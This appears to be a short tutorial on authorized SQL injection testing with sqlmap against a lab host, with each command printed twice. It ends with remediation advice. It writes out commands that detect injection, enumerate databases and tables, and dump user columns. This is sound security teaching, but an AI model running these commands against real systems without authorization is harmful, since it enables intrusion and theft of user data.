Practical SQL Injection Testing with sqlmap

SQL Injection is still one of the most important web-application security flaws—and tools like sqlmap can turn manual testing into a repeatable security workflow.

The key is not simply running sqlmap; it is understanding what parameter is being tested, what technique is detected, and whether the application is actually vulnerable.

Practical lab workflow

Start with an intentionally vulnerable application:

sqlmap -u "http://lab.local/item?id=10" -p id --batch

sqlmap -u "http://lab.local/item?id=10" -p id --batch

If SQLi is detected, identify the available databases:

sqlmap -u "http://lab.local/item?id=10" --dbs --batch

sqlmap -u "http://lab.local/item?id=10" --dbs --batch

Then inspect a lab database:

sqlmap -u "http://lab.local/item?id=10" \
  -D shop --tables --batch

sqlmap -u "http://lab.local/item?id=10" \
  -D shop --tables --batch

For a controlled test dataset:

sqlmap -u "http://lab.local/item?id=10" \
  -D shop -T users -C username,email --dump --batch

sqlmap -u "http://lab.local/item?id=10" \
  -D shop -T users -C username,email --dump --batch

Test beyond simple URLs

Real applications commonly use POST requests. You can test a captured request:

sqlmap -r request.txt -p username --batch

sqlmap -r request.txt -p username --batch

You can also investigate specific SQLi techniques:

sqlmap -u "http://lab.local/item?id=10" \
  --technique=BEUSTQ --batch

sqlmap -u "http://lab.local/item?id=10" \
  --technique=BEUSTQ --batch

Conclusion

A useful SQLi assessment should answer four questions:

Input → Injection → Database Impact → Remediation

After confirming the issue, fix it with parameterized queries/prepared statements, strict input handling, least-privilege database accounts, and appropriate monitoring. The real value of sqlmap isn't just finding SQLi—it is making SQLi testing repeatable, measurable, and automatable within an authorized security-testing workflow.